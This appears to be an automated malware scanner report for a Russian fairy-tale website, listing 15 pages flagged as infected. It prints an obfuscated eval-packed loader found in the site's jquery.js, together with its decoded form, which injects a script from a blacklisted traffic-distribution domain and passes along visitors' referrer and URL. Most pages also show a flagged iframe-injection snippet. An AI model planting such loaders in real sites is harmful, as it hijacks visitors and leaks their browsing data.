New scan:

Malware Scanner report for teleccis.hotmail.ru

Malicious/Suspicious/Total urls checked
15/0/15
15 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/42
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://teleccis.hotmail.ru/
200 OK
Content-Length: 14563
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/skazka-vasilisa-prekrasnaya-v-kartinnom-plane.html
200 OK
Content-Length: 15672
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/jquery.js
200 OK
Content-Length: 759
Content-Type: application/x-javascript
malicious
Malicious code found. Script contains blacklisted domain: ntlligent.info

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('3 0="l://k.m/0/";3 6=7(2.n);3 4=7(2.j);2.d(b("%c e=\'")+0+"h.g?9&q=r&A="+6+"&D=$E&a=$a&z=1&t="+4+"&u=%v%8%x%w%8%B&y="+F.s()+b("\' C=\'f/i\'%5%o/p%5"));',42,42,'tds||document|var|url|3E|ref|encodeURIComponent|EA||se|unescape|3Cscript|write|src|text|cgi|in|javascript|URL|ntlligent|http|info|referrer|3C|script|net|skazki|random|HTTP_REFERER|default_keyword|F1|E7|E0|rand|ur|seoref|E8|type|parameter|keyword|Math'.split('|'),0,{}))

Decoded script:


var tds="http://ntlligent.info/tds/";var ref=encodeURIComponent(document.referrer);var url=encodeURIComponent(document.URL);document.write(unescape("%3Cscript src='")+tds+"in.cgi?9&net=skazki&seoref="+ref+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+url+"&default_keyword=%F1%EA%E0%E7%EA%E8&rand="+Math.random()+unescape("' type='text/javascript'%3E%3C/script%3E"));
var tds="http://ntlligent.info/tds/";var ref=encodeURIComponent(document.referrer);var url=encodeURIComponent(document.URL);document.write(unescape("%3Cscript src='")+tds+"in.cgi?9&net=skazki&seoref="+ref+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+url+"&default_keyword=%F1%EA%E0%E7%EA%E8&rand="+Math.random()+unescape("' type='text/javascript'%3E%3C/script%3E"));

http://teleccis.hotmail.ru/skachat-besplatno-skazku-vozvrashhenie-lya-rame.html
200 OK
Content-Length: 13613
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/skazka-kurish-v-okoshko-skachat.html
200 OK
Content-Length: 12953
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/skazka-na-noch-dlya-lubimoi-devushki.html
200 OK
Content-Length: 16795
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/kipling-malenkie-skazki-illustratsii.html
200 OK
Content-Length: 13975
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/bratya-grim-perevodchiki-skazki.html
200 OK
Content-Length: 14788
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/nedetskie-skazki-kartinki.html
200 OK
Content-Length: 14938
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/skachat-vesennyaya-skazka.html
200 OK
Content-Length: 13776
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/alekspndr-torik-skazka-dlya-detei-ot14.html
200 OK
Content-Length: 14838
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/psihoterapevticheskie-skazki-dlya-beremennyh.html
200 OK
Content-Length: 13874
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/arbuzov-skazka-starogo-arbata.html
200 OK
Content-Length: 14134
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/skazka-sektor-gaza-tsarevna-lyagushka.html
200 OK
Content-Length: 12936
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A

http://teleccis.hotmail.ru/stsenka-skazka-novogodnyaya-dlya-starsheklassnikov.html
200 OK
Content-Length: 14629
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)





document.getElementById('h_24x4td').innerHTML = '<iframe frameborder="0" id="'+Math.round(Math.random()*100000)+'" width="300px"height="250px" scrolling="no" style="background-color:#FFFFFF;border:0px solid #000000;" src="http://r.qip.ru/rb?name=hosting_300x250&jscookie=0"></iframe>';

document.getElementById('h_24x4').style.display = '';

Antivirus reports:

Norman
AgentHow.A


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: teleccis.hotmail.ru

Result:
HTTP/1.1 200 OK
Connection: close
Date: Mon, 21 Apr 2014 23:26:07 GMT
Server: nginx
Content-Type: text/html; charset=windows-1251
Second query (visit from search engine):
GET / HTTP/1.1
Host: teleccis.hotmail.ru
Referer: http://www.google.com/search?q=teleccis.hotmail.ru

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=teleccis.hotmail.ru

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://teleccis.hotmail.ru/

Result: teleccis.hotmail.ru is not infected or malware details are not published yet.